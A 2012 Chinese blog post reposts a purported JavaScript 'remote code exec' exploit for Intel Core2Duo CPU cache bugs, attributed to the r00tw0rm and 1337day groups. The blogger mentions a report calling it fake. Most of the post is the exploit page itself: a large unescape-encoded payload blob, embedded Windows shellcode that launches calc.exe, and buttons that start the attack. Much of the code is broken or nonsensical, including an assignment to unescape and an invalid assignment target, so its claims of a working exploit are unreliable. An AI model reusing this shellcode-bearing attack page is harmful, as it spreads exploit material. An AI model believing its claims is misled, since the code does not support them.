Chinaunix首页 | 论坛 | 博客

visualvisual.blog.chinaunix.net

首页　| 　博文目录　| 　关于我

wjtvbm

  • 博客访问： 398331
  • 博文数量： 42
  • 博客积分： 1181
  • 博客等级： 少尉
  • 技术积分： 602
  • 用 户 组： 普通用户
  • 注册时间： 2012-02-28 22:19
文章分类

全部博文（42）

文章存档

2012年（42）

我的朋友
最近访客
推荐博文
相关博文
[PoC] 透过 JavaScript 远程攻陷 Intel Core2Duo

分类： 网络与安全

2012-07-17 00:15:09

标题下的太神了!!! JavaScript 耶!!!

我没有 CPU 可以试，不过根据这篇 「」，可以透过 JavaScript 突破 application & OS 保护机制远程攻击 Intel Core2Duo。在 PoC 中提到测试过 Intel Core 2 Duo T5750 与 Intel Atom N270 。有谁有 Intel Core 2 Duo 的 CPU 来试试看。

不过另外一篇 ( )说是假的。


点击(此处)折叠或打开

  1. <!--
  2. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
  3. 0 _ __ __ __ 1
  4. 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
  5. 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
  6. 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
  7. 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
  8. 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
  9. 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
  10. 1 \ \____/ >> Exploit database separated by exploit 0
  11. 0 \/___/ type (local, remote, DoS, etc.) 1
  12. 1 1
  13. 0 [+] Site : 1337day.com 0
  14. 1 [+] Support e-mail : submit[at]1337day.com 1
  15. 0 0
  16. 1 ######################################### 1
  17. 0 I'm S4(uR4 member from r00tw0rm team 1
  18. 1 ######################################### 0
  19. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  20. '''

  22. #
  23. # Name : Intel Core2Duo cpu cache controller Remote Exec Exploit in JavaScript
  24. # Date : july, 14 2012
  25. # Author : S4(uR4
  26. # Platform : all
  27. # Type : remote exploit
  28. # Web : www.r00tw0rm.com
  29. # Email : satsura@r00tw0rm.com
  30. # Credit and special thanx : Selena, nezumi
  31. # Tested on : Intel Core 2 Duo T5750, Intel Atom N270
  32. # Special thanks to : r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com)
  33. # Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe (r00tw0rm.com)

  35. -->

  37. <html>
  38.     <head>
  39.         <title> CPU cache controller bug exploit (Remote code exec mod poc)</title>
  40.     </head>
  41. </html>

  43. <body>
  44. <script type="text/javascript">

  46. var microcode = 257;
  47. var N_CORE = 4;
  48. var XXL = 9*1024*1024;
  49. var buf = 9437185;

  51. var p = {};
  52. var bug;
  53. var result;
  54. var n = {};
  55. function init_c(){};
  56. function engine(p, n){};

  58. function test(result){
  59. // debug: testing micro-program for the old vm, does not work now
  60. // latter comment 1: oh. my! it works! wow!
  61. // latter comment 2: it works, but it does not what it's expected to
  62. // dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,
  63. // -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};


  66. // the infinite loop will be patched on the fly because of the Intel CPU bug
  67. // addr of the test() func should be aligned by 4Kb boundary,
  68. // 1st dword will be changed to NOP, NOP, NOP, NOP
  69. // it's possible to change the kernel memory as well,
  70. // two things:
  71. // 1) alignment;
  72. // 2) the code is currently executed;
  73. //
  74. // engine() obtains the address of test(), but does not check it,
  75. // so if you replace it, you have to check the conditionals above by yourself.
  76. // also the content to overwrite. if you want to change data memory
  77. // it's supposed to be in the cache as well.
  78. /*

  80. ASM:
  81.         .text
  82. .globl main
  83.         .type main, @function
  84. L1:
  85.         xorl %ecx, %ecx

  87. main:
  88.         pushl %ebp
  89.         movl %esp, %ebp
  90.         popl %ebp
  91.         loop L1
  92.         ret
  93.         .size main, .-main

  95. DISASM:

  97. 080483b4 :
  98. 80483b4:    31 c9     xor %ecx,%ecx

  100. 080483b6
    :
  101. 80483b6:    55     push %ebp
  102. 80483b7:    89 e5     mov %esp,%ebp
  103. 80483b9:    5d     pop %ebp
  104. 80483ba:    e2 f8     loop 80483b4
  105. 80483bc:    c3     ret
  106. 80483bd:    90     nop
  107. 80483be:    90     nop
  108. 80483bf:    90     nop

  110. */
  111.     unescape('%u31C9%u5589%uE55D%u2EF8%uC390%u9090');
  112.     return 0;
  113. }



  117. function ThreadProc(lpParameter){
  118.     engine(buf, microcode*3);
  119.     return(0);
  120. }


  123. function ThreadProc_dbg(bug){
  124.     var result = 1;
  125.     test(result);
  126.     if (result != 1){
  127.         document.write("

    [+] your CPU is buggy!

    ");

  128.     }
  129.     else{
  130.         document.write("

    [-] your CPU isn't buggy!

    ");

  131.         //eueeuereturn(0);
  132.     }
  133. }


  136. function microcode_vm(){
  137.     var evilcode = "6B70%u6E63%u2066%u6F72%u204A%u442E%u2066%u6F72%u2049%u6E74"+
  138.     "%u656C%u2043%u6F72%u6520%u3220%u4475%u6F20%u5435%u3735%u300D%u0A28%u6329"+
  139.     "%u2053%u656C%u656E%u612F%u2F32%u3030%u372C%u2032%u3030%u3800%u2B00%u0000"+
  140.     "%u0500%u0000%u2600%u0000%u3E00%u0000%u4702%u0000%uE7FD%uFFFF%u0000%u0000"+
  141.     "%uA3FF%uFFFF%uA7FF%uFFFF%u0100%u0000%u0200%u0000%u0A00%u0000%u0200%u0000"+
  142.     "%u0100%u0000%u0900%u0000%u0300%u0000%u0400%u0000%u1400%u0000%u0400%u0000"+
  143.     "%u1F00%u0000%u2B00%u0000%u0500%u0000%u2600%u0000%u3E00%u0000%u0600%u0000"+
  144.     "%u0D00%u0000%u2500%u0000%u0700%u0000%u3000%u0000%u4000%u0000%u0800%u0000"+
  145.     "%u6B00%u0000%u8F00%u0000%u0900%u0000%uFA00%u0000%u1201%u0000%u0A00%u0000"+
  146.     "%uC901%u0000%uE101%u0000%u0B00%u0000%u0C00%u0000%u3C00%u0000%u0C00%u0000"+
  147.     "%u1700%u0000%u3300%u0000%u0D00%u0000%u0E00%u0000%u3600%u0000%u0E00%u0000"+
  148.     "%u1500%u0000%u4D00%u0000%u0F00%u0000%u6800%u0000%u8800%u0000%u1000%u0000"+
  149.     "%uD300%u0000%u1701%u0000%u1100%u0000%uF201%u0000%u3A02%u0000%u1200%u0000"+
  150.     "%uF103%u0000%u3904%u0000%u1300%u0000%uF407%u0000%u2408%u0000%u1400%u0000"+
  151.     "%uEF0F%u0000%u3B10%u0000%u1500%u0000%u961F%u0000%uCE1F%u0000%u1600%u0000"+
  152.     "%u1D00%u0000%u7500%u0000%u1700%u0000%u2000%u0000%u7000%u0000%u1800%u0000"+
  153.     "%u1B00%u0000%u7F00%u0000%u1900%u0000%u2A00%u0000%u6200%u0000%u1A00%u0000"+
  154.     "%u1900%u0000%u7100%u0000%u1B00%u0000%u3C00%u0000%u8C00%u0000%u1C00%u0000"+
  155.     "%uE700%u0000%u2301%u0000%u1D00%u0000%u9E01%u0000%uE601%u0000%u1E00%u0000"+
  156.     "%u2500%u0000%u9D00%u0000%u1F00%u0000%uD800%u0000%u1801%u0000%u2000%u0000"+
  157.     "%uA301%u0000%u2702%u0000%u2100%u0000%uE203%u0000%u6A04%u0000%u2200%u0000"+
  158.     "%uE107%u0000%u6908%u0000%u2300%u0000%uE40F%u0000%u7410%u0000%u2400%u0000"+
  159.     "%uFF1F%u0000%u4B20%u0000%u2500%u0000%uC63F%u0000%u1E40%u0000%u2600%u0000"+
  160.     "%uAD7F%u0000%u0580%u0000%u2700%u0000%uD0FF%u0000%u6000%u0100%u2800%u0000"+
  161.     "%uCBFF%u0100%u6F00%u0200%u2900%u0000%uDAFF%u0300%u7200%u0400%u2A00%u0000"+
  162.     "%u29FF%u0700%u81FF%u0700%u2B00%u0000%u2C00%u0000%u9C00%u0000%u2C00%u0000"+
  163.     "%u3700%u0000%u9300%u0000%u2D00%u0000%u2E00%u0000%u9600%u0000%u2E00%u0000"+
  164.     "%u3500%u0000%uED00%u0000%u2F00%u0000%u4800%u0000%uE800%u0000%u3000%u0000"+
  165.     "%u3300%u0000%uF700%u0000%u3100%u0000%u5200%u0000%uDA00%u0000%u3200%u0000"+
  166.     "%u1100%u0000%u9900%u0000%u3300%u0000%u1400%u0000%u8400%u0000%u3400%u0000"+
  167.     "%u0F00%u0000%u9B00%u0000%u3500%u0000%u3600%u0000%uEE00%u0000%u3600%u0000"+
  168.     "%u7D00%u0000%u1501%u0000%u3700%u0000%uC001%u0000%u5002%u0000%u3800%u0000"+
  169.     "%u3B03%u0000%uDF03%u0000%u3900%u0000%u4A00%u0000%uC200%u0000%u3A00%u0000"+
  170.     "%u3900%u0000%uD100%u0000%u3B00%u0000%u5C00%u0000%u2C01%u0000%u3C00%u0000"+
  171.     "%uC701%u0000%u4302%u0000%u3D00%u0000%u3E03%u0000%uC603%u0000%u3E00%u0000"+
  172.     "%u4500%u0000%u3D01%u0000%u3F00%u0000%uB801%u0000%u3802%u0000%u4000%u0000"+
  173.     "%u4303%u0000%u4704%u0000%u4100%u0000%uC207%u0000%uCA08%u0000%u4200%u0000"+
  174.     "%uC10F%u0000%uC910%u0000%u4300%u0000%uC41F%u0000%uD420%u0000%u4400%u0000"+
  175.     "%uDF3F%u0000%uEB40%u0000%u4500%u0000%uE67F%u0000%uFE80%u0000%u4600%u0000"+
  176.     "%uCDFF%u0000%uE500%u0100%u4700%u0000%uF0FF%u0100%u8000%u0200%u4800%u0000"+
  177.     "%uABFF%u0300%uCF00%u0400%u4900%u0000%uBAFF%u0700%uD200%u0800%u4A00%u0000"+
  178.     "%u89FF%u0F00%u2100%u1000%u4B00%u0000%u4CFF%u1F00%u7C00%u2000%u4C00%u0000"+
  179.     "%uD7FF%u3F00%uF300%u4000%u4D00%u0000%uCEFF%u7F00%uF600%u8000%u4E00%u0000"+
  180.     "%uD5FF%uFF00%u8D00%u0001%u4F00%u0000%uA8FF%uFF01%uC800%u0002%u5000%u0000"+
  181.     "%u93FF%uFF03%uD700%u0004%u5100%u0000%uB2FF%uFF07%uFA00%u0008%u5200%u0000"+
  182.     "%uB1FF%uFF0F%uF900%u0010%u5300%u0000%uB4FF%uFF1F%uE400%u0020%u5400%u0000"+
  183.     "%uAFFF%uFF3F%uFB00%u0040%u5500%u0000%u56FE%uFF7F%u0EFF%uFF7F%u5600%u0000"+
  184.     "%u5D00%u0000%u3501%u0000%u5700%u0000%u6000%u0000%u3001%u0000%u5800%u0000"+
  185.     "%u5B00%u0000%u3F01%u0000%u5900%u0000%u6A00%u0000%u2201%u0000%u5A00%u0000"+
  186.     "%u5900%u0000%u3101%u0000%u5B00%u0000%u7C00%u0000%uCC01%u0000%u5C00%u0000"+
  187.     "%uA700%u0000%uE301%u0000%u5D00%u0000%u5E00%u0000%u2601%u0000%u5E00%u0000"+
  188.     "%u6500%u0000%uDD01%u0000%u5F00%u0000%u9800%u0000%uD801%u0000%u6000%u0000"+
  189.     "%u6300%u0000%uE701%u0000%u6100%u0000%uA200%u0000%uAA01%u0000%u6200%u0000"+
  190.     "%u2100%u0000%u2901%u0000%u6300%u0000%u2400%u0000%u3401%u0000%u6400%u0000"+
  191.     "%u3F00%u0000%u0B01%u0000%u6500%u0000%u0600%u0000%u5E01%u0000%u6600%u0000"+
  192.     "%u6D00%u0000%uC501%u0000%u6700%u0000%u9000%u0000%uA001%u0000%u6800%u0000"+
  193.     "%u0B00%u0000%u2F01%u0000%u6900%u0000%u1A00%u0000%u3201%u0000%u6A00%u0000"+
  194.     "%u6900%u0000%uC101%u0000%u6B00%u0000%uEC00%u0000%u5C02%u0000%u6C00%u0000"+
  195.     "%uF703%u0000%u5305%u0000%u6D00%u0000%uEE07%u0000%u5609%u0000%u6E00%u0000"+
  196.     "%uF50F%u0000%u2D11%u0000%u6F00%u0000%u881F%u0000%uA820%u0000%u7000%u0000"+
  197.     "%u733E%u0000%uB73F%u0000%u7100%u0000%u9200%u0000%u9A01%u0000%u7200%u0000"+
  198.     "%u5100%u0000%uD901%u0000%u7300%u0000%uD400%u0000%u4402%u0000%u7400%u0000"+
  199.     "%uCF03%u0000%u5B05%u0000%u7500%u0000%uF607%u0000%u2E09%u0000%u7600%u0000"+
  200.     "%uBD0F%u0000%u5511%u0000%u7700%u0000%u801F%u0000%u9020%u0000%u7800%u0000"+
  201.     "%u7B3E%u0000%u9F3F%u0000%u7900%u0000%u8A00%u0000%u8201%u0000%u7A00%u0000"+
  202.     "%u7900%u0000%u9101%u0000%u7B00%u0000%u9C00%u0000%u6C02%u0000%u7C00%u0000"+
  203.     "%u8703%u0000%u8304%u0000%u7D00%u0000%u7E06%u0000%u8607%u0000%u7E00%u0000"+
  204.     "%u8500%u0000%u7D02%u0000%u7F00%u0000%u7803%u0000%u7804%u0000%u8000%u0000"+
  205.     "%u8306%u0000%u8708%u0000%u8100%u0000%u820F%u0000%u8A11%u0000%u8200%u0000"+
  206.     "%u811F%u0000%u8921%u0000%u8300%u0000%u843F%u0000%u9441%u0000%u8400%u0000"+
  207.     "%u9F7F%u0000%uAB81%u0000%u8500%u0000%uA6FF%u0000%uBE01%u0100%u8600%u0000"+
  208.     "%u8DFF%u0100%uA501%u0200%u8700%u0000%uB0FF%u0300%uC001%u0400%u8800%u0000"+
  209.     "%uEBFF%u0700%u0F01%u0800%u8900%u0000%u7AFF%u0F00%u9201%u1000%u8A00%u0000"+
  210.     "%u49FF%u1F00%u6100%u2000%u8B00%u0000%u8CFE%u3F00%uBC00%u4000%u8C00%u0000"+
  211.     "%u97FF%u7F00%uB301%u8000%u8D00%u0000%u8EFF%uFF00%uB601%u0001%u8E00%u0000"+
  212.     "%u95FF%uFF01%uCD01%u0002%u8F00%u0000%uE8FF%uFF03%u0801%u0004%u9000%u0000"+
  213.     "%u53FF%uFF07%u9701%u0008%u9100%u0000%u72FF%uFF0F%uBA01%u0010%u9200%u0000"+
  214.     "%u71FF%uFF1F%uB901%u0020%u9300%u0000%u74FF%uFF3F%uA401%u0040%u9400%u0000"+
  215.     "%u6FFF%uFF7F%uBB01%u0080%u9500%u0000%u16FF%uFFFF%u4E00%u0000%u9600%u0000"+
  216.     "%u9DFE%uFFFF%uF500%u0000%u9700%u0000%uA0FF%uFFFF%uF001%u0000%u9800%u0000"+
  217.     "%u9BFF%uFFFF%uFF01%u0000%u9900%u0000%uAAFF%uFFFF%uE201%u0000%u9A00%u0000"+
  218.     "%u99FF%uFFFF%uF101%u0000%u9B00%u0000%uBCFF%uFFFF%u0C01%u0000%u9C00%u0000"+
  219.     "%u67FF%uFFFF%uA301%u0000%u9D00%u0000%u1EFF%uFFFF%u6600%u0000%u9E00%u0000"+
  220.     "%uA5FE%uFFFF%u1D00%u0000%u9F00%u0000%u58FF%uFFFF%u9801%u0000%uA000%u0000"+
  221.     "%u23FF%uFFFF%uA701%u0000%uA100%u0000%u62FF%uFFFF%uEA01%u0000%uA200%u0000"+
  222.     "%u61FF%uFFFF%uE901%u0000%uA300%u0000%u64FF%uFFFF%uF401%u0000%uA400%u0000"+
  223.     "%u7FFF%uFFFF%uCB01%u0000%uA500%u0000%u46FF%uFFFF%u9E01%u0000%uA600%u0000"+
  224.     "%u2DFF%uFFFF%u8501%u0000%uA700%u0000%u50FF%uFFFF%uE001%u0000%uA800%u0000"+
  225.     "%u4BFF%uFFFF%uEF01%u0000%uA900%u0000%u5AFF%uFFFF%uF201%u0000%uAA00%u0000"+
  226.     "%uA9FC%uFFFF%u01FE%uFFFF%uAB00%u0000%uAC00%u0000%u1C02%u0000%uAC00%u0000"+
  227.     "%uB700%u0000%u1302%u0000%uAD00%u0000%uAE00%u0000%u1602%u0000%uAE00%u0000"+
  228.     "%uB500%u0000%u6D02%u0000%uAF00%u0000%uC800%u0000%u6802%u0000%uB000%u0000"+
  229.     "%uB300%u0000%u7702%u0000%uB100%u0000%uD200%u0000%u5A02%u0000%uB200%u0000"+
  230.     "%u9100%u0000%u1902%u0000%uB300%u0000%u9400%u0000%u0402%u0000%uB400%u0000"+
  231.     "%u8F00%u0000%u1B02%u0000%uB500%u0000%uB600%u0000%u6E02%u0000%uB600%u0000"+
  232.     "%uFD00%u0000%u9503%u0000%uB700%u0000%u4001%u0000%uD003%u0000%uB800%u0000"+
  233.     "%uBB00%u0000%u5F02%u0000%uB900%u0000%uCA00%u0000%u4202%u0000%uBA00%u0000"+
  234.     "%uB900%u0000%u5102%u0000%uBB00%u0000%uDC00%u0000%uAC03%u0000%uBC00%u0000"+
  235.     "%u4701%u0000%uC303%u0000%uBD00%u0000%uBE00%u0000%u4602%u0000%uBE00%u0000"+
  236.     "%uC500%u0000%uBD03%u0000%uBF00%u0000%u3801%u0000%uB803%u0000%uC000%u0000"+
  237.     "%uC300%u0000%uC703%u0000%uC100%u0000%u4201%u0000%u4A03%u0000%uC200%u0000"+
  238.     "%u4100%u0000%u4902%u0000%uC300%u0000%u4400%u0000%u5402%u0000%uC400%u0000"+
  239.     "%u5F00%u0000%u6B02%u0000%uC500%u0000%u6600%u0000%u7E02%u0000%uC600%u0000"+
  240.     "%u4D00%u0000%u6502%u0000%uC700%u0000%u7000%u0000%u0002%u0000%uC800%u0000"+
  241.     "%u2B00%u0000%u4F02%u0000%uC900%u0000%u3A00%u0000%u5202%u0000%uCA00%u0000"+
  242.     "%u0900%u0000%uA102%u0000%uCB00%u0000%uCC00%u0000%uFC03%u0000%uCC00%u0000"+
  243.     "%u5701%u0000%u7303%u0000%uCD00%u0000%u4E00%u0000%u7602%u0000%uCE00%u0000"+
  244.     "%u5500%u0000%u0D02%u0000%uCF00%u0000%u2800%u0000%u4802%u0000%uD000%u0000"+
  245.     "%u1300%u0000%u5702%u0000%uD100%u0000%u3200%u0000%u7A02%u0000%uD200%u0000"+
  246.     "%u3100%u0000%u7902%u0000%uD300%u0000%u3400%u0000%u6402%u0000%uD400%u0000"+
  247.     "%u2F00%u0000%u7B02%u0000%uD500%u0000%uD600%u0000%u8E03%u0000%uD600%u0000"+
  248.     "%uDD01%u0000%uB504%u0000%uD700%u0000%uE007%u0000%uB00A%u0000%uD800%u0000"+
  249.     "%uDB0F%u0000%uBF12%u0000%uD900%u0000%uEA1F%u0000%uA222%u0000%uDA00%u0000"+
  250.     "%uD93F%u0000%uB142%u0000%uDB00%u0000%uFC7F%u0000%u4C82%u0000%uDC00%u0000"+
  251.     "%u27FF%u0000%u6301%u0100%uDD00%u0000%uDEFC%u0100%uA6FF%u0100%uDE00%u0000"+
  252.     "%uE501%u0000%u5D04%u0000%uDF00%u0000%u1807%u0000%u5809%u0000%uE000%u0000"+
  253.     "%uE30C%u0000%u670F%u0000%uE100%u0000%u2201%u0000%u2A03%u0000%uE200%u0000"+
  254.     "%uA100%u0000%uA903%u0000%uE300%u0000%uA401%u0000%uB404%u0000%uE400%u0000"+
  255.     "%uBF07%u0000%u8B0A%u0000%uE500%u0000%u860F%u0000%uDE12%u0000%uE600%u0000"+
  256.     "%uED1F%u0000%u4522%u0000%uE700%u0000%u103F%u0000%u2041%u0000%uE800%u0000"+
  257.     "%u8B7C%u0000%uAF7F%u0000%uE900%u0000%u9A01%u0000%uB204%u0000%uEA00%u0000"+
  258.     "%uE907%u0000%u410A%u0000%uEB00%u0000%u6C0F%u0000%uDC12%u0000%uEC00%u0000"+
  259.     "%u771F%u0000%uD322%u0000%uED00%u0000%u6E3F%u0000%uD642%u0000%uEE00%u0000"+
  260.     "%u757F%u0000%uAD82%u0000%uEF00%u0000%u08FF%u0000%u2801%u0100%uF000%u0000"+
  261.     "%uF3FC%u0100%u37FF%u0100%uF100%u0000%u1201%u0000%u1A03%u0000%uF200%u0000"+
  262.     "%uD100%u0000%u5903%u0000%uF300%u0000%u5401%u0000%uC404%u0000%uF400%u0000"+
  263.     "%u4F07%u0000%uDB0A%u0000%uF500%u0000%u760F%u0000%uAE12%u0000%uF600%u0000"+
  264.     "%u3D1F%u0000%uD522%u0000%uF700%u0000%u003F%u0000%u1041%u0000%uF800%u0000"+
  265.     "%uFB7C%u0000%u1F7F%u0000%uF900%u0000%u0A01%u0000%u0203%u0000%uFA00%u0000"+
  266.     "%uF900%u0000%u1103%u0000%uFB00%u0000%u1C01%u0000%uEC04%u0000%uFC00%u0000"+
  267.     "%u0707%u0000%u0309%u0000%uFD00%u0000%uFE0C%u0000%u060F%u0000%uFE00%u0000"+
  268.     "%u0501%u0000%uFD04%u0000%uFF00%u0000%uF806%u0000%uF808%u0000%u0001%u0000";
  269.     unescape(evilcode);
  270. }

  272. /*
  273. // THREATED IMPLEMENTATION
  274. function init(){
  275.     document.write("

    [!] Exploit Running


    ");
  276.     document.write("[+] Loading micro-program");
  277.     microcode_vm();
  278.     var a, id, handle;
  279.     var size = 111;
  280.     document.write("initializing XX thread...");
  281.     
  282.     for (a=1; a < N_CORE; a++){
  283.             //code should be written for debug.
  284.     }

  286. }

  288. */

  290. function vm_engine()
  291. {
  292.     var a, dw, f1, f2, f3, fn, f0 = -1, dt = 0;
  293.     for(;;){
  294.         microcode_vm();
  295.         f1;
  296.         unescape = (p + ((dt++) % n));
  297.         f2 = (p + ((dt++) % n));
  298.         f3 = (p + ((dt++) % n));

  300.         // vm + scrambler + dynamic encoder + multi-pass obfuscator
  301.         fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0;

  303.         // a few minutes to trigger this condition on 2.4 MHz PC
  304.         if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0)
  305.         {
  306.             // a sync problem. it would be better to use locks over here.
  307.             // crash happens. crash is not shit. crash means code works.
  308.             // so, should be really care about the addr and the content?
  309.             // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of
  310.             // it gives BSOD on Intel Atom N270 cpu o_o less than an hour
  311.             f3 = test(result); f1 = unescape("%u9090%u9090") ^ f0 +
  312.             // Shellcode Calculator
  313.             unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+
  314.                      "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
  315.                      "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
  316.                      "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
  317.                      "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
  318.                      "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
  319.                      "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
  320.                      "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
  321.                      "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
  322.                      "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
  323.                      "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
  324.                      "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
  325.                      "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
  326.                      "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
  327.                      "%u652E%u6578%u9000"); f2 = test ^ fn;

  329.             document.write("

    w00t! w00t! u g0t r00t ?!
    "    );
  330.         }    (p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ;
  331.     }
  332. }

  334. function demo()
  335. {
  336.     var n;
  337.     document.write("HITB 2008 missing exploit :=) by Selena

    "    );
  338.     document.write("micro-code is written by Selena
    "    );
  339.     document.write("virtual machine is designed by Selena
    "    );
  340.     document.write("virtual machine is designed by Selena
    "    );
  341.     document.write("virtual machine has been rewritten by nezumi

    "    );
  342.     document.write("exploit PoC rewritten by S4(uR4 for remote atack demo 2012

    "    );
  343.     //setTimeout(9000);
  344.     document.write("[!] Exploit Running");
  345.     vm_engine(); //if (n == 0) { init_t();} ;
  346.     //if(result != 0){
  347.         document.write("
    [+] Done!"    );
  348.     //}
  349. }



  353. </script>
  354. <h1>CPU cache controller bug exploit Remote code exec mod</h1>

  356. <button onClick="ThreadProc_dbg(bug)";><b>&bull; Check vuln</b> &raquo;</button>
  357. <button onClick="demo()";><b>PoC Run!> &rarr;</button>


  360. </body>

阅读(7920) | 评论(0) | 转发(0) |
0

上一篇：之前被 ITHome 的採訪登出來了喔.....

下一篇：Java 0-day

给主人留下些什么吧！~~
关于我们 | 关于IT168 | 联系方式 | 广告合作 | 法律声明 | 免费注册

Copyright 2001-2010 ChinaUnix.net All Rights Reserved 北京皓辰网域网络信息技术有限公司. 版权所有

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6